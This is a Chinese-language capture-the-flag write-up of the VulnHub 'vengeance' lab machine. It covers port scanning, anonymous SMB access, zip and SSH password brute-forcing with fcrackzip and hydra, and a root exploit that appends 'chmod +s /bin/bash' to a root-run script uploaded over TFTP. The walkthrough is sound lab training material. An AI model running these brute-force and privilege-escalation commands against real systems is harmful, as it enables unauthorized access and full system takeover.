vulnhub靶场之【digitalworld.local系列】的vengeance靶机
前言
靶机:digitalworld.local-vengeance
,IP地址为192.168.10.10
攻击:kali
,IP地址为192.168.10.6
kali
采用VMware
虚拟机,靶机选择使用VMware
打开文件,都选择桥接网络
这里官方给的有两种方式,一是直接使用virtualbox
加载,另一种是通过VMware
直接加载,也给出了iso
镜像文件。
文章中涉及的靶机,来源于
vulnhub
官网,想要下载,可自行访问官网下载,或者通过网盘下载https://pan.quark.cn/s/86cf8a398835
主机发现
使用arp-scan -l
或netdiscover -r 192.168.10.1/24
扫描
也可以使用nmap
等工具进行
信息收集
使用nmap扫描端口
扫描tcp
端口,并保存于nmap-tcp
nmap -sT 192.168.10.10 --min-rate=1000 -p- -oA nmap-tcp
扫描常见的20个udp
端口,不过这里的端口明显处于open
的很少
nmap -sU 192.168.10.10 --top-ports 20 -T4 -oA nmap-udp
把前面扫描出的tcp
端口,进行处理,只取端口号
grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','
#这里就是包括可能开放的端口都不要,因为是靶机,可能过滤的话,也会无法进一步扫描
ports=80,180,110,113,139,143,443,445,993,995,22222
对特定的端口号进行深入探测
nmap -sV -O -sC -sT 192.168.10.10 -p $ports -oA detail
使用脚本检测有无漏洞
nmap --script=vuln 192.168.10.10 -p $ports -oA vuln
smb探测
使用nmap
的脚本进行测试,不过脚本并没有启动成功
nmap --script=smb* 192.168.10.10
使用enum4linux
进行枚举,发现内容
尝试使用smbclient
连接,最终以匿名身份连接到sarapublic
分享时,发现内容
smbclient //192.168.10.10/sarapublic$ -N
然后把所以数据下载
smb: \> prompt
smb: \> recurse
smb: \> mget *
这个似乎是工作目录,查看essay.txt
,发现其中的信息,包括产品,以及两个人名qinyi、govindasamy
查看profile.txt
文件,发现一个人名giovanni
尝试解压gio.zip
,发现需要密码
尝试使用fcrackzip
进行爆破,发现字典rockyou.txt
也没获取密码
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt gio.zip
查看champagne
目录,看到一个网站的目录,猜测这个可能是网站的备份文件之类的
网站探测
访问80端口的网站
结合前面nmap
的扫描,应该是一个wordpress
的CMS,这个界面,估计是靶机需要绑定域名
点击一个链接,发现是跳转到一个域名vengeance.goodtech.inc
,这个域名就是需要进行绑定的
在windows
和linux
中绑定域名,需要编辑hosts
文件,只是文件的位置不同
linux 在 /etc/hosts文件
windos在 C:\Windows\System32\Drivers\etc\hosts文件
绑定后即可正常访问了
使用whatweb
探测网站信息
whatweb http://192.168.10.10
使用浏览器的插件wappalyzer
查看网站相关使用
使用针对wordpress
这个CMS的专门工具wpscan
wpscan --url http://vengeance.goodtech.inc -e u
获取到wordpress
的版本信息5.6.1
枚举到三个用户qinyi、sara、qiu
尝试进行爆破密码,但是这里未找到接口,大概率是目录名称更换了,所以采用目录爆破一下
使用gobuster
进行爆破,也是没有好的数据
gobuster dir -u http://192.168.10.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.bak,.txt,s,.,.html -b 403-404
仔细的去看看这个网站,发现这个网站是用户qinyi
的博客,记录了她的一些事件
访问其中一个文章,发现一个需要密码的界面
唉,这个网站中还有一些其他文章,可以去自己看看,评论也有。爱情啊
但是到这里又断了
压缩包破解
之前在smb
获取的信息,应该有大用才对,回去继续测试
尝试从80端口的网站使用cewl
获取单词,但是,获取到的东西并不能破解。
那么既然压缩包gio.zip
中,有一些其他的txt
文件,那么是否这里面的单词有可能会有密码
grep -oE '\w+' blurb.txt| sort | uniq > pass.txt
grep -oE '\w+' eaurouge | sort | uniq >> pass.txt
grep -oE '\w+' eaurouge.txt| sort | uniq >> pass.txt
grep -oE '\w+' essay.txt| sort | uniq >> pass.txt
grep -oE '\w+' profile.txt| sort | uniq >> pass.txt
然后使用fcrackzip
进行破解
fcrackzip -u -D -p pass.txt gio.zip
获取到密码nanotechnological
到了这里我变得很敏感了,查看文件pass_reminder.txt
,发现字段
查看pptx
文件,五张幻灯片,有很多文字
我现在把ppt
中的文字都放在一个文件中,并通过grep
等命令分割单词,然后作为字典
这里做成的字典,可以作为网站的密码破解,或者是对ssh
登录进行爆破
ssh爆破
之前使用wpscan
或者smb
枚举时,有些用户的,把这些用户放在一个文件中
hydra 192.168.10.10 -L user.txt -P pass.txt ssh -s 22222
但是爆破后,并没有反应,突然想到解压后的一个文件名pass_reminder
,密码提醒
文件内容,是密码构成
name ---->名称
corner ---->拐角,角
circuit ---->电路
再次查看ppt
,毕竟图片没有内容了,这个ppt
的作者名称Giovanni Berlusconi
另一种ppt
,说的是corner
,就是角
搜索一下这个图片的出处,因为这里说了最喜欢的弯道,但是没给出具体名称
ok
,知道了,就构造密码
name --->Giovanni Berlusconi
corner --->130R
circuit --->Suzuka
编写一个bash
脚本即可
for name in giovanni berlusconi Giovanni Berlusconi "Giovanni Berlusconi"; doprintf "%s_130R_Suzuka\n" "$name"
done > pass.txt
使用hydra
进行爆破
hydra 192.168.10.10 -L user.txt -P pass.txt ssh -s 22222
以这个账户密码giovanni_130R_Suzuka
连接ssh
ssh qinyi@192.168.10.10 -p 22222
靶机内信息收集
登录qinyi
的账户后,查看当前目录下的提示
这里看到有sara、patrick
两个人名,并且可能有些东西修改了,有些还没来得及
查看有哪些用户
ls -alh /home
cat /etc/passwd | grep /bin/bash
收集内核版本和系统版本
uname -a/-r
cat /etc/issue
cat /etc/*release
lsb_release
查看其他用户具有写权限的文件,发现并没有
find / -type f -perm /o+w 2>/dev/null | grep -v /sys | grep -v /proc
获取以root
执行的进程
ps aux | grep root
查看连接状态等信息,没什么值得关注
ip add
ss -antlp
netstat -antlp
查看定时任务
crontab -l
cat /etc/crontab
atq
上传pspy64
,然后进行测试,看有无隐藏执行的进程
在kali
中执行scp
上传到靶机
scp -P 22222 ./pspy64 qinyi@192.168.10.10:/tmp
不过执行后,还是没有东西
再通过kali
的scp
上传linpeas.sh
scp -P 22222 ./linpeas.sh qinyi@192.168.10.10:/tmp
东西太多,大致都差不多
使用find
寻找具有SUID权限的文件
find / -perm -4000 -print 2>/dev/null
使用sudo -l
查看
虽然nginx
可以重启,但是前面寻找可以编辑的文件时,nginx
的配置文件并不能修改,那么就无作用
另一个是在/home/sara
目录,也就是sara
用户的家目录下
查看文件夹,没有权限去查看或执行
提权
我这里测试很久,并没有找到方式,内核也测试过了
网上看了一下wp
,啧,我真的蠢死
这里就是端口的问题了,但是我只看了tcp
端口,udp
端口没看,导致错过关键信息
netstat -antulp
ss -antulp
查看的网络连接状态,其实tcp
端口基本上都是nmap
扫描出的
对于udp
即使扫描出了,我也没怎么关注,所以这是错误的
对扫描的结果进行处理,保留端口号
ss -antulp | grep udp | awk -F ':' '{print $2}' | awk -F ' ' '{print $1}'| uniq | paste -sd ','
然后在kali
中,再次对这些端口进行扫描
nmap -sV -sU 192.168.10.10 -p53,68,69,137,138
这几个里面,可能只有tftp
是有用的,因为这个就是和ftp
是一样的,直接连接测试,是否被过滤或者说被拦截
tftp 192.168.10.10 69
可以连接成功,但是并不知道路径,连接后,也不能使用pwd
并且put
上传文件后,在靶机使用find
也无法找到上传的文件的去向
使用lsof
测试tftp
lsof | tftp
这里知道,是通过apt
安装的tftp
,那么就可以搜索apt
安装tftp
的默认配置文件等情况
查看这个配置文件,确定靶机的tftp
的根目录是什么
哈哈哈哈哈哈哈哈哈,与sudo
的一个文件一样,并且用户名是root
。那么直接尝试进行get
,下载后查看这个文件
直接在文件后面添加代码,以最简单的
chmod +s /bin/bash
再次把这个文件上传,不过名称一定要一样,不要修改,直接put
可以看到/bin/bash
已经有了SUID权限
直接提权
/bin/bash -p
总结
这个靶机其实主要就是密码的猜测
该靶机值得反思以下几点:
- 对于网站,并非一定是突破口
smb
匿名登录获取分享中的数据,主要就是围绕一个压缩包,其中的txt
文件都是作为其密码的根据,这个我没想到,网站我想到了,但是这个是真的没想到,所以思维要广- 对于压缩包的破解后,获取到的文件,一定有用的,所以不要放弃,这里是给出了提示,所以排列组合少了很多,若没有提示呢,啧
- 靶机内的信息收集一定要全面,我这里忽略了
udp
端口在靶机的监听状态,导致漏掉了tftp
- 提权,这里还是
sudo
,主要就是发现tftp
,以及tftp
的根目录,不然这个靶机也是无法提权的
其实,到最后,我好奇的还是网站的哪个需要密码的东西,到底是什么,我后面会去观看的
最终还是通过数据库找到了,密码没找到
原来这是感情经历,怪不得密码封印
相关文章:
vulnhub靶场之【digitalworld.local系列】的vengeance靶机
前言 靶机:digitalworld.local-vengeance,IP地址为192.168.10.10 攻击:kali,IP地址为192.168.10.6 kali采用VMware虚拟机,靶机选择使用VMware打开文件,都选择桥接网络 这里官方给的有两种方式ÿ…...
shiro550-cve-2016-4437复现
shiro550-cve-2016-4437 复现环境:docker desktop idea远程调试jdk版本必须与容器里的jdk1.8.0_102 匹配上,下载资源翻我CC1链那篇文章 注意burpsuite的proxy listeners端口改一下别跟docker容器的重了。 ysoserial工具:https://github.c…...
【DeepSeek】Ubuntu快速部署DeepSeek(Ollama方式)
文章目录 人人都该学习的DeepSeekDeepSeek不同版本功能差异DeepSeek与硬件直接的关系DeepSeek系统兼容性部署方式选择部署步骤(Ollama方式)1.选定适合的deepseek版本2.环境准备3.安装Ollama4.部署deepseek5.测试使用 人人都该学习的DeepSeek DeepSeek 作…...
Windows 版本Nmap使用报错“无法打开device eth0”
背景 使用nmap在win10上进行扫描工作正常,换到win server 2012 r2以后,扫描报错“无法打开device eth0” 使用了重装、重启大法,未彻底解决 PS:这台服务器之前完装过wireshark,实际已经安装了npcap 解决步骤 查询了…...
java字符串
字符串构造 1.使用常量串构造 String h1 "hello";System.out.println(h1); 2.new对象 String h2 new String("hello");System.out.println(h2); 3.使用字符数组构造 char[] array {h,e,l,l,o};String h3 new String(array);System.out.println(h3);…...
Uniapp 页面返回不刷新?两种方法防止 onShow 触发多次请求!
目录 前言1. 变量(不生效)2. 延迟(生效) 前言 🤟 找工作,来万码优才:👉 #小程序://万码优才/r6rqmzDaXpYkJZF 在 Uniapp 中,使用 onShow() 钩子来监听页面显示࿰…...
鸿蒙生态日日新,夸克、顺丰速运、驾校一点通等多款应用功能更新
3月5日鸿蒙生态日日新PLOG:吉事办、健康甘肃等政务服务App上架原生鸿蒙应用市场;夸克、顺丰速运、驾校一点通等多款应用功能更新。...
库制作与原理
什么是库 库是写好的现有的,成熟的,可以复用的代码。现实中每个程序都要依赖很多基础的底层库,不可能每个人的代码都从零开始,因此库的存在意义非同寻常。本质上来说库是一种可执行代码的二进制形式,可以被操作系统载入…...
《量子Java:从超导芯片到光子计算的编程革命》——解析Google量子AI中心的混合架构,揭秘如何用Java控制量子比特!
标题:《量子Java:从超导芯片到光子计算的编程革命》——解析Google量子AI中心的混合架构,揭秘如何用Java控制量子比特! 引言:当Java代码撞上量子叠加态——Google量子AI中心的0.003秒奇迹 Google量子AI中心首次实现Java程序对1200量子比特光量子芯片的实时控制,仅耗时3毫…...
音频3A测试--AGC(自动增益)和NS(降噪)测试
一、测试前期准备 一台电脑:用于作为控制播放和录制数据; 一台音频处理器(调音台):控制每个通道播放的数据,如噪声、人工头、模拟设备B输入的数据、收集标准麦克风,设备A处理完成的数据; 四个高保真音响&…...
点云数据处理--splat转3dtiles
文章目录 处理流程简介核心功能实现数据读取与格式转换数据读取splat转gltf 点云数据分割定义四叉树递归生成3dtiles瓦片 生成tileset.json递归生成tileset.json计算box 主函数调用渲染 下一步工作性能优化渲染效果调优其他 源码地址: github 处理流程简介 基本流…...
deepseek使用记录18——艺术的追问
一 好的,基于前面学习结果,再写一篇有艺术美的文章 《美的起义》 凌晨四点的茶摊在电子支付二维码下苏醒,蒸腾的水汽中浮动着八百年前建盏的釉色。老板娘把栀子花插在共享单车车筐里,花瓣的弧度与北宋汝窑青瓷的冰裂纹暗合&…...
ArcGIS操作:13 生成最小外接矩阵
应用情景:筛选出屋面是否能放下12*60m的长方形,作为起降场候选点(一个不规则的形状内,判断是否能放下指定长宽的长方形) 1、面积初步筛选 Area ≥ 720 ㎡ 面积计算见 2、打开 ArcToolbox → Data Management Tools …...
Manus AI Agent 技术解读:架构、机制与竞品对比
目录 1. Manus 是什么? 1.1 研发背景 1.2 技术特点 1.3 工具调用能力 1.4 主要应用场景 2. Manus 一夜爆火的原因何在? 2.1 技术突破带来的震撼 2.2 完整交付的产品体验 2.3 生态与开源策略 3. Manus 与其他 AI Agent 的对比分析 3.1 技术架构…...
npm 执行安装报错
Fix the upstream dependency conflict, or retry this command with --force or --legacy-peer-deps to accept an incorrect (and potentially broken) dependency resolution. 原因 主要的原因是 npm7 以上的版本,新增了一个对等依赖的特性,在以…...
Django 模型的逆向工程
模型的逆向工程:通过 inspectdb 命令从数据库表创建 Django 模型 在Django开发中,模型(Model)是定义数据库结构的关键组件。通常,我们根据业务需求先设计模型,然后通过Django的迁移系统创建相应的数据库表…...
启动wsl里的Ubuntu24报错:当前计算机配置不支持 WSL2,HCS_E_HYPERV_NOT_INSTALLED
问题:启动wsl里的Ubuntu24报错 报错信息: 当前计算机配置不支持 WSL2。 请启用“虚拟机平台”可选组件,并确保在 BIOS 中启用虚拟化。 通过运行以下命令启用“虚拟机平台”: wsl.exe --install --no-distribution 有关信息,请访…...
Electron:点击右键保存图片到本地
前期插件 前端请求后台的一种方法 npm install got -S用于获取ArrayBuffer文件类型 npm install image-type -S生成随机数 npm install randomstring -D增加右击事件 点击右击事件的时候加载菜单 const imageRightSave require("./ImageRightSave") // 创建右…...
C语言中0UL和1UL
0UL 表示 无符号长整型 0 1UL 表示 无符号长整型 1 如果不写UL后缀,系统默认为:int, 即,有符号整数。 数值常数分为:整型常数和浮点常数; 数值常数后缀不区分字母大小写; 1.整型常数的后缀:…...
6. 机器人实现远程遥控(具身智能机器人套件)
1. 启动控制脚本 远程作到 Raspberry Pi 中,并运行以下脚本: conda activate lerobotpython lerobot/scripts/control_robot.py \--robot.typelekiwi \--control.typeremote_robot登录笔记本电脑上,同时运行以下脚本: conda ac…...
C++ 学生成绩管理系统
一、项目背景与核心需求 成绩管理系统是高校教学管理的重要工具,本系统采用C++面向对象编程实现,主要功能模块包括: 学生信息管理(学号/姓名/3门课程成绩) 成绩增删改查(CRUD)操作 数据持久化存储 统计分析与报表生成 用户友好交互界面 二、系统架构设计 1. 类结构设计 …...
网络安全配置截图 网络安全i
网络安全概念及规范 1.网络安全定义 网络安全的概述和发展历史 网络安全 广义的网络安全:Cyber Security(网络空间安全) 网络空间有独立且相互依存的信息基础设施和网络组成,包括互联网、电信网、计算机系统、嵌入式处理器和控…...
Facebook营销自动化—— Python脚本 + 代理IP实现内容高效分发
目录 1. 引言:内容分发与Facebook营销的现状与痛点 2. 环境搭建与前期准备 2.1 开发环境与工具选择 2.2 获取代理IP 2.3 Facebook账号与开发者平台配置 3. Facebook内容分发的基本流程与策略 3.1 内容规划与策略制定 3.2 内容分发方式选择 3.3 风控与风险防…...
Centos的ElasticSearch安装教程
由于我们是用于校园学习,所以最好是关闭防火墙 systemctl stop firewalld systemctl disable firewalld 个人喜欢安装在opt临时目录,大家可以随意 在opt目录下创建一个es-standonely-docker目录 mkdir es-standonely-docker 进入目录编辑yml文件 se…...
香港地区上线独立多用户电商平台系统需要注意哪些问题
在香港地区上线独立多用户电商平台系统时,需结合本地化需求、技术架构、法律合规及用户体验等多方面因素,以下是需要注意的关键问题及建议: 一、技术架构与服务器部署 服务器配置与带宽选择 根据业务规模选择合适的香港服务器配置࿰…...
元宇宙展厅应用场景有哪些?
元宇宙展厅作为元宇宙技术的重要应用场景之一,正在彻底改变人们的展示、学习与交流方式。其应用场景主要包括以下几个方面: 一、企业展览与营销 产品展示:企业可以利用元宇宙展厅搭建虚拟展示空间,通过高精度的3D建模和虚拟现实技…...
XGBoost常见面试题(五)——模型对比
XGBoost与GBDT的区别 机器学习算法中 GBDT 和 XGBOOST 的区别有哪些? - 知乎 基分类器:传统GBDT以CART树作为基分类器,xgboost还支持线性分类器,这个时候xgboost相当于带L1和L2正则化项的逻辑斯蒂回归(分类问题&#…...
如何在WPS中接入DeepSeek并使用OfficeAI助手(超细!成功版本)
目录 第一步:下载并安装OfficeAI助手 第二步:申请API Key 第三步:两种方式导入WPS 第一种:本地大模型Ollama 第二种APIKey接入 第四步:探索OfficeAI的创作功能 工作进展汇报 PPT大纲设计 第五步:我的使用体验(体验建议) …...
重学 Android 自定义 View 系列(十一):文字跑马灯剖析
前言 一个可以横向滚动和纵向滚动的自定义文字跑马灯View,支持水平和垂直滚动、多段文本展示、点击事件回调等功能。 该View 由 ScrollTextView,改版而来,效果如下: 1. 功能介绍 ScrollTextView 是基于 SurfaceView 的自定义视…...
Android硬件加速原理解析
Android硬件加速原理解析 一、核心思想 GPU与CPU分工 硬件加速的本质是将图形渲染任务从CPU转移到GPU,利用GPU的并行计算能力处理像素填充、矩阵变换等密集型图形操作12。CPU负责逻辑计算,GPU专注于图形处理,避免单一资源瓶颈57。 图形计算优化 GPU通过专…...
Oracle SQL优化实战要点解析(11)——索引、相关子查询及NL操作(1)
11.1. 充分利用索引有序特性,避免发生大表上的FTS,以及对中间大数据集的排序。 11.1.1. 适用场景 从一个或多个大表(例如:亿行级或TB级数据量)中过滤出全列大数据集(例如:数百万或千万行数据),对该大数据集按其中某列进行排序,最终,只取最前面的少部分数据(例如:…...
题解:AT_past202109_h 最短経路
思路 这一眼就是最短路的题目啊。 为什么不用 Dijkstra 用 死了的 SPFA。因为好写 。 这一题的数据比较小。可以暴力枚举最短路的起点,跑 SPFA,找到符合的直接输出,结束程序。随机数据下 SPFA 平均的时间复杂度为 O ( k n ) O(kn) O(kn)…...
JavaScript基础-算数运算符
在JavaScript编程中,算术运算符是构建程序逻辑的基础工具之一,它们用于执行基本的数学运算,如加法、减法、乘法和除法等。掌握这些运算符不仅有助于进行数值计算,也是编写复杂逻辑的前提条件。本文将详细介绍JavaScript中的各种算…...
Doris vs ClickHouse 企业级实时分析引擎怎么选?
Apache Doris 与 ClickHouse 同作为OLAP领域的佼佼者,在企业级实时分析引擎该如何选择呢。本文将详细介绍 Doris 的优势,并通过直观对比展示两者的关键差异,同时分享一个企业成功用 Doris 替换 ClickHouse 的实践案例,帮助您做出明…...
flask学习3-深入
flask学习-深入 flask学习-深入1. 应用程序结构和生命周期 — Flask 文档 (3.1.x)2.应用程序上下文 — Flask 文档 (3.1.x)3. 请求上下文 — Flask 文档 (3.1.x)上下文的生命周期手动推送上下文关于代理的注意事项4.使用蓝图的模块化应用程序 — Flask 文档 (3.1.x)5.扩…...
任务10:三层交换机配置
CSDN 原创主页:不羁https://blog.csdn.net/2303_76492156?typeblog三层交换机是指在OSI(开放系统互连)模型中的第三层网络层提供路由功能的交换机。它不仅具备二层交换机的交换功能,还能实现路由功能,提供更为灵活的网…...
XSD 对 XML 数据格式验证 java
xsd文件,文件名bean.xsd,放在当前java文件目录下 <?xml version"1.0" encoding"UTF-8"?> <xs:schema xmlns:xs"http://www.w3.org/2001/XMLSchema"><xs:element name"bean"><xs:comple…...
深度学习笔记——神经网络
本文为在拓尔思智能举办的训练营中学习内容的总结,部分内容摘自百度百科 个人在这里推荐一个好用的软件,Trae,主要是免费。 人工神经元是人工神经网络的基本单元。模拟生物神经元,人工神经元有1个或者多个输入(模拟多…...
大语言模型学习--向量数据库
向量数据库 向量 向量是多维数据空间中的一个坐标点。 向量类型 图像向量 文本向量 语音向量 Embedding 非结构化数据转换为向量过程 通过深度学习训练,将真实世界离散数据,投影到高维数据空间上,通过数据在空间中间的距离体现真实世界…...
蓝桥杯 封闭图形个数
蓝桥杯 封闭图形个数 题目 链接 解答 # 数字个数 n int(input()) # 数字 ls input().split() # 统计数字的圈数 o_nums {} for i, x in enumerate(ls):o_num 0for c in x:if int(c) in [0, 4, 6, 9]:o_num 1elif c 8:o_num 2o_nums[i] o_num # 字典根据圆圈数排序 …...
c++快速入门-2
算数运算符 赋值运算符“” 赋值运算符概念 将一个值赋给一个变量。 例:a3;//将3这个值赋给a 赋值是从右向左,都是赋值表达式。 错误示范:3a;//不符合从右向左 b-25;//“”左边只能有一个变量名&…...
URL中的特殊字符与web安全
在现代Web应用中,URL作为客户端与服务器之间的通信桥梁,承载着大量的重要信息。URL中的特殊字符,看似只是一些常见的符号,但在Web安全领域,它们与其他安全知识密切相关,如在Base64编码、SQL注入,…...
Python ❀ Unix时间戳转日期或日期转时间戳工具分享
设计一款Unix时间戳和日期转换工具,其代码如下: from datetime import datetimeclass Change_Date_Time(object):def __init__(self, date_strNone, date_numNone):self.date_str date_strself.date_num date_num# 转时间戳def datetime2timestamp(s…...
H.264,H.265,H.266标准技术改进
关于H.264,H.265,H.266相关资料链接: 标准及中文资料链接 视频编码中的主要技术 视频编码的目标是在保证视频质量的前提下,尽可能减少数据量。以下是视频编码中的核心技术: 块划分(Block Partitioning) 将视频帧划分…...
Crawl4AI: 赋能AI用户的开源智能网页爬虫与数据提取
Crawl4AI: 赋能AI用户的开源智能网页爬虫与数据提取 在当今人工智能时代,网络爬虫扮演着至关重要的角色。它们不仅是数据收集的强大工具,更是驱动机器学习、自然语言处理等技术发展的关键引擎。 然而,对于用户来说,在面对复杂多…...
C++ primer plus 第七节 函数探幽完结版
系列文章目录 C primer plus 第一节 步入C-CSDN博客 C primer plus 第二节 hello world刨析-CSDN博客 C primer plus 第三节 数据处理-CSDN博客 C primer plus 第四节 复合类型-CSDN博客 C primer plus 第五节 循环-CSDN博客 C primier plus 第七节 函数探幽第一部分-CSDN博客 …...
linux | Vim 命令快捷操作
注:本文为过去的 “vim 使用笔记”。 跳转命令 跳转命令 #:向前查找光标当前所在单词,并跳转到该单词的上一个出现位置。*:向后查找光标当前所在单词,并跳转到该单词的下一个出现位置。 行内跳转 0:跳转…...
RuleOS:区块链开发的“新引擎”,点燃Web3创新之火
RuleOS:区块链开发的“新引擎”,点燃Web3创新之火 在区块链技术的浪潮中,RuleOS宛如一台强劲的“新引擎”,为个人和企业开发去中心化应用(DApp)注入了前所未有的动力。它以独特的设计理念和强大的功能特性&…...
梯度本质论:从黎曼流形到神经网络的拓扑寻优
一、微分几何框架下的梯度再诠释 在标准数学分析中,梯度被定义为标量场 f : R n → R f:\mathbb{R}^n→\mathbb{R} f:Rn→R的导数张量 ∇ f ( ∂ f ∂ x 1 , . . . , ∂ f ∂ x n ) \nabla f(\frac{\partial f}{\partial x_1},...,\frac{\partial f}{\partial x_n…...
LVGL直接解码png图片的方法
通过把png文件解码为.C文件,再放到工程中的供使用,这种方式随时速度快(应为已经解码,代码中只要直接加载图片数据显示出来即可),但是不够灵活,适用于哪些简单又不经常需要更换UI的场景下使用。如…...